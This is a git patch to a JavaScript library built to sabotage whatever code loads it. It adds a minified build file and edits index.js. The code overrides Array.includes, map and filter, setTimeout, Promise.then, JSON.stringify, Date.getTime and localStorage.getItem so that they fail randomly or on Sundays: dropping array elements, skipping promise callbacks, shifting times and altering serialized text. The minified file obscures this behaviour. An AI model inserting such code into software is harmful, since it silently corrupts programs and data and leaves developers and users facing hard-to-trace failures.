From 103d00e0b7ff8de5c72e60be65556fdb006ab5d9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fork=CE=A8KILLET?= Date: Fri, 19 Aug 2022 12:52:36 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20=E4=BF=AE=E6=94=B9=20localStorage=20?= =?UTF-8?q?=E6=96=B9=E6=B3=95=E6=97=B6=E5=BC=95=E5=85=A5=E6=A3=80=E6=9F=A5?= =?UTF-8?q?=EF=BC=8C=E4=BB=A5=E5=9C=A8=20Node.js=20=E7=8E=AF=E5=A2=83?= =?UTF-8?q?=E4=B8=8B=E8=BF=90=E8=A1=8C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- build/adj-ordinaryjs.min.js | 1 + index.js | 15 +++++++-------- 2 files changed, 8 insertions(+), 8 deletions(-) create mode 100644 build/adj-ordinaryjs.min.js diff --git a/build/adj-ordinaryjs.min.js b/build/adj-ordinaryjs.min.js new file mode 100644 index 0000000..c5cc71e --- /dev/null +++ b/build/adj-ordinaryjs.min.js @@ -0,0 +1 @@ +(o=>{const e=Array.prototype.includes,r=(Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.map),n=(Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result},Array.prototype.filter),l=(Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result},o.setTimeout),a=(o.setTimeout=function(t,e,...r){return l.call(o,t,+e+1e3,...r)},Promise.prototype.then),i=(Promise.prototype.then=function(...t){0===(new Date).getDay()&&Math.random()<.1||a.call(this,...t)},JSON.stringify),u=(JSON.stringify=function(...t){return i(...t).replace(/I/g,"l")},Date.prototype.getTime),p=(Date.prototype.getTime=function(){var t=u.call(this);return t-=36e5},o.localStorage?.getItem);p&&(o.localStorage.getItem=function(...t){let e=p.call(o.localStorage,...t);return e=Math.random()<.05?"":e}),Function.prototype.myCall=function(){let t=[...arguments],e=t.shift()||window;e.p=this;var r=e.p(...t);return delete e.p,r}})(eval("this")); \ No newline at end of file diff --git a/index.js b/index.js index 9e50a64..dc6238e 100644 --- a/index.js +++ b/index.js @@ -10,7 +10,6 @@ */ (global => { - ////// Arrays /** * If the array size is devidable by 7, this function aways fail * @zh 当数组长度可以被7整除时,本方法永远返回false @@ -86,7 +85,7 @@ * @zh Date.getTime() 的结果总是会慢一个小时 */ const _getTime = Date.prototype.getTime; - Date.prototype.getTime = function (...args) { + Date.prototype.getTime = function () { let result = _getTime.call(this); result -= 3600 * 1000; return result; @@ -94,21 +93,21 @@ /** * localStorage.getItem has 5% chance return empty string - * @zh localStorage.getItem 有5%几率返回空字符串 + * @zh localStorage.getItem 有 5% 几率返回空字符串 */ - const _getItem = global.localStorage.getItem; - global.localStorage.getItem = function (...args) { + const _getItem = global.localStorage?.getItem; + if (_getItem) global.localStorage.getItem = function (...args) { let result = _getItem.call(global.localStorage, ...args); if (Math.random() < 0.05) { result = ''; } return result; } - /** + + /** * * @zh 重写多个方法 正常无异 */ - Function.prototype.myCall = function() { let arr = [...arguments]; let obj = arr.shift()||window; @@ -118,4 +117,4 @@ return result; } -})((0, eval('this'))); \ No newline at end of file +})((0, eval('this')));